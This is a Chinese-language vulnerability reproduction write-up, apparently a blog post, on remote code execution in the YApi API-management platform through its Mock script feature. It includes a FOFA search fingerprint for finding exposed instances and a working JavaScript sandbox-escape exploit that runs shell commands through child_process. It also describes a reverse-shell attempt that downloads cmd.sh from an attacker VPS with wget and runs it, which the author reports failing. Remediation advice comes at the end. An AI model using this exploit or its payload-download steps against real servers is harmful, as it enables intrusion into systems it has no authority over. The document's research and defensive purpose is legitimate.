如何建设一家网站/百度新闻头条新闻
yapi 代码执行
- yapi 代码执行
- 0x01 漏洞描述
- 0x02 影响范围
- 0x03 漏洞复现
- 尝试反弹shell
- 0x04 漏洞修复
所有文章,仅供安全研究与学习之用,后果自负!
yapi 代码执行
fofa指纹app=“YAPI”
打开登录页面,注册账号,新增项目,新增接口
打开高级Mock
开启脚本
写入poc
0x01 漏洞描述
API接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。 YApi 是高效、易用、功能强大的 api 管理平台。但因为大量用户使用 YAPI的默认配置并允许从外部网络访问 YApi服务,导致攻击者注册用户后,即可通过 Mock功能远程执行任意代码。
0x02 影响范围
0x03 漏洞复现
(1)访问靶场
(2)注册账号
(3) 新建项目
(4) 随意添加一个添加接口
(5)依次点击
(6) exp
修改 ls /tmp 处即可
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /tmp && ps -ef").toString()
点击下方保存
(7) 点击预览 再点击 url地址
得到flag
尝试反弹shell
(1)vps 放置反弹shell的cmd.sh 起Python http服务
(2)修改poc处
wget http://ip:port/cmd.sh
(3) chmod a+x /tmp/cmd.sh
ls -l /tmp/cmd.sh
赋予执行权限成功
(4) /tmp/cmd.sh
反弹shell失败
直接输入 bash命令反弹也失败
0x04 漏洞修复
1.关闭YAPI注册功能
2.删除恶意账户
3.回滚服务器快照
4.同步删除恶意mock脚本以防止二次攻击
5.限制白名单访问